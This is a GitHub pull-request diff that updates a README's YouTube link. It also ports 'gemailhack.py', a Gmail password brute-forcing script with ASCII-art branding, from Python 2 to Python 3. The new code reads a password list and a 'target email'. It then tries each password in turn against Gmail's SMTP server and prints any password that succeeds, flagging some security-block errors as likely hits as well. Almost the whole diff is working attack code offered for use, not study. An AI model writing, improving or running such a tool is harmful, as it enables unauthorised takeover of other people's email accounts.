Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@

### YouTube Channel

https://www.youtube.com/c/HA-MRX
https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA

### Video Tutorial

Expand Down
152 changes: 85 additions & 67 deletions gemailhack.py
Original file line number Diff line number Diff line change
@@ -1,74 +1,92 @@
#!/usr/bin/python
'''create by Ha3MrX'''

import smtplib
from os import system
import sys

def main():
print '================================================='
print ' create by Ha3MrX '
print '================================================='
print ' ++++++++++++++++++++ '
print '\n '
print ' _,. '
print ' '
print ' '
print ' HA3MrX '
print ' _,. '
print ' ,` -.) '
print ' ( _/-\\-._ '
print ' /,|`--._,-^| , '
print ' \_| |`-._/|| , | '
print ' | `-, / | / / '
print ' | || | / / '
print ' `r-._||/ __ / / '
print ' __,-<_ )`-/ `./ / '
print ' \ `--- \ / / / '
print ' | |./ / '
print ' / // / '
print ' \_/ \ |/ / '
print ' | | _,^- / / '
print ' | , `` (\/ /_ '
print ' \,.->._ \X-=/^ '
print ' ( / `-._//^` '
print ' `Y-.____(__} '
print ' | {__) '
print ' () V.1.0 '
def main_banner():
print('=================================================')
print(' create by Ha3MrX ')
print('=================================================')
print(' ++++++++++++++++++++ ')
print('\n ')
print(' _,. ')
print(' ')
print(' ')
print(' HA3MrX ')
print(' _,. ')
print(' ,` -.) ')
print(' ( _/-\\-._ ')
print(' /,|`--._,-^| , ')
print(' \_| |`-._/|| , | ')
print(' | `-, / | / / ')
print(' | || | / / ')
print(' `r-._||/ __ / / ')
print(' __,-<_ )`-/ `./ / ')
print(' \ `--- \ / / / ')
print(' | |./ / ')
print(' / // / ')
print(' \_/ \ |/ / ')
print(' | | _,^- / / ')
print(' | , `` (\/ /_ ')
print(' \,.->._ \X-=/^ ')
print(' ( / `-._//^` ')
print(' `Y-.____(__} ')
print(' | {__) ')
print(' () V.1.0 ')

main()
print '[1] start the attack'
print '[2] exit'
option = input('==>')
if option == 1:
file_path = raw_input('path of passwords file :')
else:
system('clear')
exit()
pass_file = open(file_path,'r')
pass_list = pass_file.readlines()
def login():
i = 0
user_name = raw_input('target email :')
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()
for password in pass_list:
i = i + 1
print str(i) + '/' + str(len(pass_list))
try:
server.login(user_name, password)
system('clear')
main()
print '\n'
print '[+] This Account Has Been Hacked Password :' + password + ' ^_^'
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
if error[14] == '<':
system('clear')
main()
print '[+] this account has been hacked, password :' + password + ' ^_^'
main_banner()
print('[1] start the attack')
print('[2] exit')

option = input('==>')

if option == '1':
file_path = input('path of passwords file : ')
user_name = input('target email : ')

try:
pass_file = open(file_path, 'r', encoding='utf-8')
pass_list = pass_file.readlines()
pass_file.close()
except FileNotFoundError:
print(f"[!] File not found: {file_path}")
return

try:
# Connecting to Gmail SMTP server
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.ehlo()

i = 0
for password in pass_list:
i = i + 1
password = password.strip()
print(f"{i}/{len(pass_list)} | Testing: {password}")

try:
server.login(user_name, password)
system('clear')
main_banner()
print('\n')
print(f'[+] Success! Password found: {password}')
break
except smtplib.SMTPAuthenticationError as e:
error = str(e)
# Checking if the login was actually blocked or if it's just a wrong password
if "Application-specific password required" in error or "AcceptHelp" in error:
print(f'[+] Potential password found: {password} (Security block detected)')
break
else:
continue

server.quit()
except Exception as e:
print(f"[!] Connection error: {e}")

else:
system('clear')
sys.exit()

break
else:
print '[!] password not found => ' + password
login()
if __name__ == "__main__":
login()